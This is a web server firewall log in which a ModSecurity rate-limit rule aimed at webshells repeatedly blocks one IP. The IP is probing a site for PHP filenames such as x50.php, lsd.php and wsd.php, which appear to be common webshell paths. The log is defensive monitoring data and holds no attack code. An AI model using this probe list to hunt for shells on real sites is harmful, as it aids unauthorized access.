[Fri Jan 09 00:53:49.414481 2026] [:error] [pid 15358:tid 15392] [client 20.196.88.31:10969] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aV_hHSoRk9xWJ3toSBKvngAAANY"]
[Fri Jan 09 00:53:50.097299 2026] [:error] [pid 15358:tid 15382] [client 20.196.88.31:10905] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aV_hHioRk9xWJ3toSBKvoQAAAMw"]
[Fri Jan 09 00:53:50.687279 2026] [:error] [pid 15265:tid 15327] [client 20.196.88.31:10890] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aV_hHqE6VBKhew2LTFR3sAAAAIE"]
[Fri Jan 09 00:53:51.938875 2026] [:error] [pid 17404:tid 17420] [client 20.196.88.31:10881] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aV_hH2Vd_oH193N6AnXrWgAAAY4"]
[Fri Jan 09 00:53:53.542748 2026] [:error] [pid 2484:tid 2486] [client 20.196.88.31:10882] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aV_hITiDlnlaQQK_AEPRIgAAAUA"]
[Fri Jan 09 00:53:54.481466 2026] [:error] [pid 15358:tid 15386] [client 20.196.88.31:10986] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aV_hIioRk9xWJ3toSBKvpgAAANA"]
[Fri Jan 09 00:53:55.387693 2026] [:error] [pid 17404:tid 17429] [client 20.196.88.31:10977] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aV_hI2Vd_oH193N6AnXrXgAAAZc"]
[Fri Jan 09 00:53:55.803770 2026] [:error] [pid 17404:tid 17427] [client 20.196.88.31:10974] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aV_hI2Vd_oH193N6AnXrXwAAAZU"]
[Fri Jan 09 00:53:56.407652 2026] [:error] [pid 17404:tid 17430] [client 20.196.88.31:10902] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aV_hJGVd_oH193N6AnXrYgAAAZg"]
[Fri Jan 09 00:53:57.386899 2026] [:error] [pid 15263:tid 15281] [client 20.196.88.31:10989] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aV_hJdv61bxum7WG_e8tswAAAAk"]
[Fri Jan 09 00:53:57.876241 2026] [:error] [pid 15264:tid 15301] [client 20.196.88.31:7110] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aV_hJYov6_kvS0Owh-o5CQAAAEI"]
[Fri Jan 09 00:53:58.697638 2026] [:error] [pid 15263:tid 15280] [client 20.196.88.31:7135] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aV_hJtv61bxum7WG_e8ttQAAAAg"]
[Fri Jan 09 00:53:59.415310 2026] [:error] [pid 15358:tid 15392] [client 20.196.88.31:10899] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aV_hJyoRk9xWJ3toSBKvrQAAANY"]
[Fri Jan 09 00:54:00.672156 2026] [:error] [pid 15358:tid 15394] [client 20.196.88.31:10985] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aV_hKCoRk9xWJ3toSBKvsQAAANg"]
[Fri Jan 09 00:54:01.615712 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10896] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aV_hKSoRk9xWJ3toSBKvsgAAAMg"]
[Fri Jan 09 00:54:02.088469 2026] [:error] [pid 17404:tid 17418] [client 20.196.88.31:10988] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV_hKmVd_oH193N6AnXrZAAAAYw"]
[Fri Jan 09 00:54:03.382368 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.31:10978] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV_hK7TDJR8aofkBk9RhrAAAARU"]
[Fri Jan 09 00:54:04.289607 2026] [:error] [pid 17404:tid 17422] [client 20.196.88.31:10961] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV_hLGVd_oH193N6AnXrZgAAAZA"]
[Fri Jan 09 00:54:05.257611 2026] [:error] [pid 7586:tid 7605] [client 20.196.88.31:10993] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV_hLcJyk37GdXP5TmWXzAAAAc8"]
[Fri Jan 09 00:54:06.368970 2026] [:error] [pid 17404:tid 17410] [client 20.196.88.31:10956] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aV_hLmVd_oH193N6AnXraQAAAYQ"]
[Fri Jan 09 00:54:06.867016 2026] [:error] [pid 2484:tid 2506] [client 20.196.88.31:11007] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aV_hLjiDlnlaQQK_AEPRLwAAAVI"]
[Fri Jan 09 00:54:07.559476 2026] [:error] [pid 2424:tid 2433] [client 20.196.88.31:10987] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aV_hL7TDJR8aofkBk9RhsQAAAQc"]
[Fri Jan 09 00:54:08.379885 2026] [:error] [pid 17404:tid 17411] [client 20.196.88.31:10995] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aV_hMGVd_oH193N6AnXragAAAYU"]
[Fri Jan 09 00:54:09.806440 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:10945] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aV_hMbTDJR8aofkBk9RhswAAARE"]
[Fri Jan 09 00:54:10.997629 2026] [:error] [pid 15265:tid 15346] [client 20.196.88.31:10911] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aV_hMqE6VBKhew2LTFR3yAAAAJQ"]
[Fri Jan 09 00:54:12.355730 2026] [:error] [pid 15358:tid 15379] [client 20.196.88.31:10888] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aV_hNCoRk9xWJ3toSBKvvgAAAMk"]
[Fri Jan 09 00:54:12.860827 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:10897] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aV_hNDiDlnlaQQK_AEPROAAAAVY"]
[Fri Jan 09 00:54:14.116798 2026] [:error] [pid 15264:tid 15311] [client 20.196.88.31:10990] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aV_hNoov6_kvS0Owh-o5HgAAAEw"]
[Fri Jan 09 00:54:14.968512 2026] [:error] [pid 2484:tid 2505] [client 20.196.88.31:10976] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aV_hNjiDlnlaQQK_AEPROwAAAVE"]
[Fri Jan 09 00:54:15.973214 2026] [:error] [pid 15264:tid 15302] [client 20.196.88.31:10938] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aV_hN4ov6_kvS0Owh-o5IQAAAEM"]
[Fri Jan 09 00:54:16.749989 2026] [:error] [pid 17404:tid 17414] [client 20.196.88.31:10946] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aV_hOGVd_oH193N6AnXrbgAAAYg"]
[Fri Jan 09 00:54:17.774007 2026] [:error] [pid 15264:tid 15312] [client 20.196.88.31:10972] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aV_hOYov6_kvS0Owh-o5IwAAAE0"]
[Fri Jan 09 00:54:18.420087 2026] [:error] [pid 2484:tid 2511] [client 20.196.88.31:10929] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aV_hOjiDlnlaQQK_AEPRQgAAAVc"]
[Fri Jan 09 00:54:19.414832 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:10908] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aV_hO7TDJR8aofkBk9RhwwAAARE"]
[Fri Jan 09 00:54:19.992160 2026] [:error] [pid 7586:tid 7596] [client 20.196.88.31:10979] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aV_hO8Jyk37GdXP5TmWX3AAAAcg"]
[Fri Jan 09 00:54:20.329468 2026] [:error] [pid 2484:tid 2508] [client 20.196.88.31:10991] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aV_hPDiDlnlaQQK_AEPRRwAAAVQ"]
[Fri Jan 09 00:54:20.658242 2026] [:error] [pid 7586:tid 7594] [client 20.196.88.31:10887] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aV_hPMJyk37GdXP5TmWX3wAAAcY"]
[Fri Jan 09 00:54:21.064588 2026] [:error] [pid 15358:tid 15374] [client 20.196.88.31:10914] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aV_hPSoRk9xWJ3toSBKvxAAAAMQ"]
[Fri Jan 09 00:54:21.444266 2026] [:error] [pid 15358:tid 15391] [client 20.196.88.31:10885] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aV_hPSoRk9xWJ3toSBKvzAAAANU"]
[Fri Jan 09 00:54:21.893216 2026] [:error] [pid 7586:tid 7590] [client 20.196.88.31:7129] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aV_hPcJyk37GdXP5TmWX4QAAAcI"]
[Fri Jan 09 00:54:22.350736 2026] [:error] [pid 15265:tid 15345] [client 20.196.88.31:10904] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aV_hPqE6VBKhew2LTFR35AAAAJM"]
[Fri Jan 09 00:54:22.756839 2026] [:error] [pid 2424:tid 2432] [client 20.196.88.31:10932] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aV_hPrTDJR8aofkBk9RhyAAAAQY"]
[Fri Jan 09 00:54:23.561027 2026] [:error] [pid 2424:tid 2441] [client 20.196.88.31:10921] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aV_hP7TDJR8aofkBk9RhygAAAQ8"]
[Fri Jan 09 00:54:23.989688 2026] [:error] [pid 2484:tid 2505] [client 20.196.88.31:11006] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_hPziDlnlaQQK_AEPRTAAAAVE"]
[Fri Jan 09 00:54:24.434632 2026] [:error] [pid 2484:tid 2501] [client 20.196.88.31:10970] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_hQDiDlnlaQQK_AEPRUAAAAU0"]
[Fri Jan 09 00:54:24.819299 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.31:10894] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_hQLTDJR8aofkBk9RhzAAAARU"]
[Fri Jan 09 00:54:25.273613 2026] [:error] [pid 2484:tid 2509] [client 20.196.88.31:10975] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_hQTiDlnlaQQK_AEPRUgAAAVU"]
[Fri Jan 09 00:54:25.593148 2026] [:error] [pid 2484:tid 2511] [client 20.196.88.31:11001] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aV_hQTiDlnlaQQK_AEPRUwAAAVc"]
[Fri Jan 09 00:54:26.145791 2026] [:error] [pid 2424:tid 2434] [client 20.196.88.31:10925] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aV_hQrTDJR8aofkBk9Rh0AAAAQg"]
[Fri Jan 09 00:54:26.588937 2026] [:error] [pid 2484:tid 2493] [client 20.196.88.31:10994] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aV_hQjiDlnlaQQK_AEPRWAAAAUY"]
[Fri Jan 09 00:54:27.149669 2026] [:error] [pid 15264:tid 15306] [client 20.196.88.31:10892] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aV_hQ4ov6_kvS0Owh-o5JwAAAEc"]
[Fri Jan 09 00:54:27.793720 2026] [:error] [pid 2424:tid 2437] [client 20.196.88.31:7040] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aV_hQ7TDJR8aofkBk9Rh1wAAAQs"]
[Fri Jan 09 00:54:28.467423 2026] [:error] [pid 15265:tid 15332] [client 20.196.88.31:10924] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aV_hRKE6VBKhew2LTFR36gAAAIY"]
[Fri Jan 09 00:54:28.943682 2026] [:error] [pid 2424:tid 2435] [client 20.196.88.31:10999] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aV_hRLTDJR8aofkBk9Rh2wAAAQk"]
[Fri Jan 09 00:54:29.422079 2026] [:error] [pid 15358:tid 15386] [client 20.196.88.31:10906] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aV_hRSoRk9xWJ3toSBKv2gAAANA"]
[Fri Jan 09 00:54:30.069207 2026] [:error] [pid 15263:tid 15283] [client 20.196.88.31:10983] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV_hRtv61bxum7WG_e8tywAAAAs"]
